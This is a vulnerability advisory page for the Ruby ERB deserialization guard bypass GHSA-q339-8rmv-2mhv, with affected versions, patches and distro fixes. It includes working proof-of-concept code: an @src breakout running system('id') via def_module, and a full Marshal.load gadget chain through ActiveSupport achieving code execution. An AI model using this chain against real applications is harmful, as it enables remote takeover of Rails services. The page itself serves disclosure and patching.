GHSA-q339-8rmv-2mhv — erb
HIGHGHSA-q339-8rmv-2mhv is a high-severity (CVSS 8.1) CWE-693 vulnerability in erb. A fix is available for erb — see the affected versions and patch details below.
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-q339-8rmv-2mhv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-q339-8rmv-2mhv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
erb💎erb💎erb💎erbReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def initialize(h)
h.each { |k, v| instance_variable_set(k, v) }
end
end
end
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
:@instance => erb,
:@method => :def_module,
:@var => "@x",
:@deprecator => Kernel
})
marshaled = Marshal.dump({proxy => 0})
# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)
# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key- Hash key insertion calls
.hashon the proxy .hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')
Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
</details>Impact
Scope
Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.
This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
<details>Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
| Year | Chain | Mitigated in |
|---|---|---|
| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |
| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |
| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |
| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |
| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |
| 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |
Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:
def def_method(mod, methodname, fname='(ERB)')
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1)
end
end
</details>
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | erb | all versions | 4.0.3.1bundle update erb --conservative |
| 💎RubyGems | erb | ≥ 4.0.4&&< 4.0.4.1 | 4.0.4.1bundle update erb --conservative |
| 💎RubyGems | erb | ≥ 5.0.0&&< 6.0.1.1 | 6.0.1.1bundle update erb --conservative |
| 💎RubyGems | erb | ≥ 6.0.2&&< 6.0.4 | 6.0.4bundle update erb --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for erb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update erb to 4.0.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q339-8rmv-2mhv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q339-8rmv-2mhv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-q339-8rmv-2mhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Enterprise Linux 10 | ruby-0:3.3.10-12.el10_1 | RHSA-2026:18065 |
| Red Hat Enterprise Linux 10 | ruby4.0-0:4.0.3-34.el10_2 | RHSA-2026:20606 |
| Red Hat Enterprise Linux 10.0 Extended Update Support | ruby-0:3.3.10-11.el10_0.1 | RHSA-2026:33478 |
| Red Hat Enterprise Linux 8 | ruby:3.3-8100020260428163940.489197e6 | RHSA-2026:20614 |
| Red Hat Enterprise Linux 9 | ruby:3.3-9070020260428163621.9 | RHSA-2026:18030 |
| Red Hat Enterprise Linux 9 | ruby-0:3.0.7-166.el9_7 | RHSA-2026:18039 |
| Red Hat Enterprise Linux 9 | ruby:4.0-9080020260513131334.9 | RHSA-2026:20596 |
| Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions | ruby-0:3.0.4-160.2.el9_0 | RHSA-2026:20670 |
Frequently Asked Questions
Is GHSA-q339-8rmv-2mhv in your dependencies?
O3 Security finds GHSA-q339-8rmv-2mhv across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.